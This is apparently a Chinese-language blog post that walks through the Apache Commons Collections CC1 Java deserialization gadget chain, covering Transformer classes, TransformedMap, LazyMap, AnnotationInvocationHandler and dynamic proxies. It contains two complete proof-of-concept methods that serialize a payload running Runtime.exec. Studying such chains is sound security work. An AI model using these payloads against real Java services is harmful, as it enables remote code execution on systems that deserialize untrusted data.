cc1

基础

cc接口及类介绍

Transformer接口

Defines a functor interface implemented by classes that transform one object into another.

只有一个方法:

image-20220726101900916

ConstantTransformer

returns the same constant each time

构造函数:

image-20220726103900058

transform方法:

image-20220726103853051

InvokerTransformer

implementation that creates a new object instance by reflection.

构造函数:

image-20220726101322112

transform方法:

在input方法中找到与iMethodName、iParamTypes匹配的方法,然后利用反射调用它。

image-20220726101932361

例子:

image-20220726102315445

ChainedTransformer

implementation that chains the specified transformers together.

构造函数:

image-20220726102537541

tranform方法:

就是将多个transform串起来,用第iTranforms[0]来tranform输入的元素,然后将transform后的元素作为iTranforms[i]的tranform参数。所以,如果iTranforms[0]为ConstantTransformer,输入将对此chained tranform不产生影响。

image-20220726102558311

例子:

image-20220726103531677

反序列化

注意到Runtime类没有实现反序列化接口,怎么才能构造它并反序列化呢

注意到cc可以动态转化类,可以通过反射构造出Rutime类。但是Runtime的构造方法是私有的,怎么办呢。调用一个类的静态方法,不需要这个类被实例化,反射的时候也是如此。所以:

            Method method = Runtime.class.getMethod("getRuntime", null);
            Runtime runtime = Runtime.class.cast(method.invoke(null, null));
            runtime.exec("calc");

注意到这种写法有cast方法,其实是可以接着用反射替换掉:

Method method = Runtime.class.getMethod("getRuntime", null);
Object obj =method.invoke(null, null);
Method exec = obj.getClass().getMethod("exec", new Class[]{String.class});
exec.invoke(obj, "calc");

上诉这种形式可以完美匹配chained链条,用tranform的方式表达:

        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);
        ct.transform(null);

此时我们已经可以制作出一个可以被反序列化的ChainedTransformer了。接下来要找到一个类:

1、有ChainedTransformer属性,且可被赋值。

2、在静态构造块、初始化构造块、构造函数、readObj链之一中调用ct.tranform的类。

cc1

TransformedMap

Decorates another Map to transform objects that are added.

构造函数:

image-20220726112332912

注意到:

image-20220726112839282

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用

image-20220726112940299

所以只要找到readObject中调用了MapEntry.setValue即可完成反序列化利用链

AnnotationInvocationHandler

构造方法:

image-20220726125243149

readObj方法:

var3为map,key为this.type方法名

image-20220726130047459

遍历var2中的key,查看var3的keys是否包含。如果包含就调用var5的setValue。

image-20220726125153783

poc

    public void exp1() throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);

        Map innermap = new HashMap();
        //绕过var3.get(var6)
        innermap.put("value", "xx");
        Map outermap = TransformedMap.decorate(innermap, null, ct);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //为私有方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //Retention为有value方法
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);
        ser(handler);
    }

    public void ser(InvocationHandler handler) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }

调用链

image-20220726131642150

lazyMap

get方法调用了transform:

image-20220726131920586

对象初始化:

image-20220726132048535

image-20220726132057709

动态代理

java动态代理是利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler来处理

动态代理那些接口

        PersonEat personEat = new PersonEat();
        //代理类代理personEat的所有接口中包含的方法
        Object obj1 =  Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
                personEat.getClass().getInterfaces(), (proxy, method, args1) -> {
                    System.out.println("wash");
                    Object obj = method.invoke(personEat, args1);
                    System.out.println("clean");
                    return obj;
                });
        Eat.class.cast(obj1).eat();
        Dress.class.cast(obj1).dress();
        //代理类代理personEat的Dress接口的方法
        obj1 =  Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
                new Class[]{Dress.class}, (proxy, method, args1) -> {
                    System.out.println("wash");
                    Object obj = method.invoke(personEat, args1);
                    System.out.println("clean");
                    return obj;
                });
        Dress.class.cast(obj1).dress();
        Eat.class.cast(obj1).eat();

image-20220726133254408

动态代理类查看:

image-20220726134436985

这些方法均会触发代理方法:

image-20220726134521931

poc

AnnotationInvocationHandler的readObj中entrySet为Map的接口方法,会自动触发invoke方法。

image-20220726134943083

生成的动态代理类,invoke方法已被重写:

image-20220726154343087

image-20220726152318648

invoke方法又调用了map的get方法,如果这个map为lazyMap则利用链完整。又这个memberValues为构造函数的参数,外部可控,可设置为lazyMap。

image-20220726135135223

        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);

        //构造LazyMap
        Map innerMap = new HashMap();
        innerMap.put("value", "xx");
        Map outerMap = LazyMap.decorate(innerMap, ct);

        //构造ProxyMap
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //一个实现了InvocationHandler的类,然后使用代理来劫持一个Map类型的对象的函数执行流程,
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
        ser(handler);

调用链

image-20220726135652313

posted @ 2022-07-29 19:18  wqkant  阅读(397)  评论(0)    收藏  举报